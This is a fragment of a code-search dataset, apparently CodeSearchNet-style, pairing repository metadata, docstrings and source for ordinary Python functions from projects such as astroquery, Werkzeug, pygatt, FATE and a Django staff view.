updating original
Returns:
list -- Merged list
Credits:
https://stackoverflow.com/a/50773244/1708932 | Deep merge two lists. Optionally leaves original intact. | [
"Deep",
"merge",
"two",
"lists",
".",
"Optionally",
"leaves",
"original",
"intact",
"."
] | def deepMergeLists(original, incoming, new=False):
"""
Deep merge two lists. Optionally leaves original intact.
Procedure:
Reursively call deep merge on each correlated element of list.
If item type in both elements are
a. dict: Call deepMergeDicts on both values.
b. list: Call deepMergeLists on both values.
c. any other type: Value is overridden.
d. conflicting types: Value is overridden.
If incoming list longer than original then extra values are appended.
Arguments:
original {list} -- original list
incoming {list} -- list with updated values
new {bool} -- whether or not to create a new list instead of
updating original
Returns:
list -- Merged list
Credits:
https://stackoverflow.com/a/50773244/1708932
"""
result = original if not new else deepcopy(original)
common_length = min(len(original), len(incoming))
for idx in range(common_length):
if (isinstance(result[idx], dict) and
isinstance(incoming[idx], dict)):
deepMergeDicts(result[idx], incoming[idx])
elif (isinstance(result[idx], list) and
isinstance(incoming[idx], list)):
deepMergeLists(result[idx], incoming[idx])
else:
result[idx] = incoming[idx]
for idx in range(common_length, len(incoming)):
result.append(incoming[idx])
return result | [
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ShivamSarodia/ShivyC | e7d72eff237e1ef49ec70333497348baf86be425 | shivyc/il_gen.py | python | ILCode.__init__ | (self) | Initialize IL code. | Initialize IL code. | [
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"""Initialize IL code."""
self.commands = {}
self.cur_func = None
self.label_num = 0
self.static_inits = {}
self.literals = {}
self.string_literals = {} | [
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UFAL-DSG/tgen | 3c43c0e29faa7ea3857a6e490d9c28a8daafc7d0 | tgen/rank_nn.py | python | NNRanker._update_nn | (self, bad_feats, good_feats, rate) | Direct call to NN weights update. | Direct call to NN weights update. | [
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] | def _update_nn(self, bad_feats, good_feats, rate):
"""Direct call to NN weights update."""
self.nn.update(bad_feats, good_feats, rate) | [
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peplin/pygatt | 70c68684ca5a2c5cbd8c4f6f039503fe9b848d24 | pygatt/backends/gatttool/device.py | python | GATTToolBLEDevice.register_disconnect_callback | (self, callback) | [] | def register_disconnect_callback(self, callback):
self._backend._receiver.register_callback("disconnected", callback) | [
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playframework/play1 | 0ecac3bc2421ae2dbec27a368bf671eda1c9cba5 | python/Lib/ctypes/macholib/dyld.py | python | dyld_find | (name, executable_path=None, env=None) | Find a library or framework using dyld semantics | Find a library or framework using dyld semantics | [
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"library",
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] | def dyld_find(name, executable_path=None, env=None):
"""
Find a library or framework using dyld semantics
"""
name = ensure_utf8(name)
executable_path = ensure_utf8(executable_path)
for path in dyld_image_suffix_search(chain(
dyld_override_search(name, env),
dyld_executable_path_search(name, executable_path),
dyld_default_search(name, env),
), env):
if os.path.isfile(path):
return path
raise ValueError("dylib %s could not be found" % (name,)) | [
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markmckinnon/Autopsy-Plugins | 99f8a485bda437eb0508f35fcf843c303bd367c4 | Executable Programs For Plugins/Samparse/Database.py | python | SQLiteDb.__init__ | (self) | Initializes the database file object. | Initializes the database file object. | [
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] | def __init__(self):
"""Initializes the database file object."""
super(SQLiteDb, self).__init__()
self._connection = None
self._cursor = None
self.filename = None
self.read_only = None
self.reserved_word_list_dict = {'ABORT':0, 'ACTION':0, 'ADD':0, 'AFTER':0, 'ALL':0, 'ALTER':0, 'ANALYZE':0, 'AND':0, 'AS':0, 'ASC':0, \
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"read_on... | https://github.com/markmckinnon/Autopsy-Plugins/blob/99f8a485bda437eb0508f35fcf843c303bd367c4/Executable Programs For Plugins/Samparse/Database.py#L10-L31 | ||
astropy/astroquery | 11c9c83fa8e5f948822f8f73c854ec4b72043016 | astroquery/utils/process_asyncs.py | python | async_to_sync | (cls) | return cls | Convert all query_x_async methods to query_x methods
(see
http://stackoverflow.com/questions/18048341/add-methods-to-a-class-generated-from-other-methods
for help understanding) | Convert all query_x_async methods to query_x methods | [
"Convert",
"all",
"query_x_async",
"methods",
"to",
"query_x",
"methods"
] | def async_to_sync(cls):
"""
Convert all query_x_async methods to query_x methods
(see
http://stackoverflow.com/questions/18048341/add-methods-to-a-class-generated-from-other-methods
for help understanding)
"""
def create_method(async_method_name):
@class_or_instance
def newmethod(self, *args, **kwargs):
verbose = kwargs.pop('verbose', False)
response = getattr(self, async_method_name)(*args, **kwargs)
if kwargs.get('get_query_payload') or kwargs.get('field_help'):
return response
result = self._parse_result(response, verbose=verbose)
self.table = result
return result
return newmethod
methods = list(cls.__dict__.keys())
for k in list(methods):
newmethodname = k.replace("_async", "")
if 'async' in k and newmethodname not in methods:
newmethod = create_method(k)
newmethod.fn.__doc__ = async_to_sync_docstr(
getattr(cls, k).__doc__)
newmethod.fn.__name__ = newmethodname
newmethod.__name__ = newmethodname
functools.update_wrapper(newmethod, newmethod.fn)
setattr(cls, newmethodname, newmethod)
return cls | [
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FederatedAI/FATE | 32540492623568ecd1afcb367360133616e02fa3 | python/fate_arch/federation/pulsar/_pulsar_manager.py | python | PulsarManager._create_session | (self) | return s | [] | def _create_session(self):
# retry mechanism refers to https://urllib3.readthedocs.io/en/latest/reference/urllib3.util.html#urllib3.util.Retry
retry = Retry(total=MAX_RETRIES, redirect=MAX_REDIRECT,
backoff_factor=BACKOFF_FACTOR)
s = requests.Session()
# initialize headers
s.headers.update({'Content-Type': 'application/json'})
http_adapter = HTTPAdapter(max_retries=retry)
s.mount('http://', http_adapter)
s.mount('https://', http_adapter)
return s | [
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stoq/stoq | c26991644d1affcf96bc2e0a0434796cabdf8448 | stoqlib/lib/validators.py | python | validate_decimal | (value) | return _validate_type(Decimal, value) | Validates an Decimal.
Returns if the value is a valid Decimal, or, in case it's a string,
if it can be converted to an Decimal. | Validates an Decimal. | [
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] | def validate_decimal(value):
"""Validates an Decimal.
Returns if the value is a valid Decimal, or, in case it's a string,
if it can be converted to an Decimal.
"""
return _validate_type(Decimal, value) | [
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nadineproject/nadine | c41c8ef7ffe18f1853029c97eecc329039b4af6c | staff/views/settings.py | python | helptexts | (request) | return render(request, 'staff/settings/helptexts.html', context) | [] | def helptexts(request):
helps = HelpText.objects.all()
if helps:
latest = HelpText.objects.filter().order_by('-order')[0]
latest_order = latest.order + 1
else:
latest = None
latest_order = 0
selected = None
message = None
selected_help = request.GET.get('selected_help', None)
if selected_help:
selected = HelpText.objects.get(title=selected_help)
if request.method == "POST":
to_update = request.POST.get('id', None)
if to_update:
updated = HelpText.objects.get(id=to_update)
updated.title = request.POST['title']
slug = request.POST['slug']
updated.slug = slugify(slug)
updated.template = request.POST['template']
updated.save()
return HttpResponseRedirect(reverse('staff:tasks:todo'))
else:
helptext_form = HelpTextForm(request.POST)
slug = slugify(request.POST['slug'])
title = request.POST['title']
template = request.POST['template']
order = request.POST['order']
helptext_form = HelpText(title=title, template=template, slug=slug, order=order)
helptext_form.save()
return HttpResponseRedirect(reverse('staff:tasks:todo'))
else:
helptext_form = HelpTextForm()
context = {'latest_order': latest_order, 'helps': helps, 'helptext_form': helptext_form, 'selected': selected, 'message': message}
return render(request, 'staff/settings/helptexts.html', context) | [
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general03/flask-autoindex | 424246242c9f40aeb9ac2c8c63f4d2234024256e | .eggs/Werkzeug-1.0.1-py3.7.egg/werkzeug/wrappers/auth.py | python | WWWAuthenticateMixin.www_authenticate | (self) | return parse_www_authenticate_header(header, on_update) | The `WWW-Authenticate` header in a parsed form. | The `WWW-Authenticate` header in a parsed form. | [
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] | def www_authenticate(self):
"""The `WWW-Authenticate` header in a parsed form."""
def on_update(www_auth):
if not www_auth and "www-authenticate" in self.headers:
del self.headers["www-authenticate"]
elif www_auth:
self.headers["WWW-Authenticate"] = www_auth.to_header()
header = self.headers.get("www-authenticate")
return parse_www_authenticate_header(header, on_update) | [
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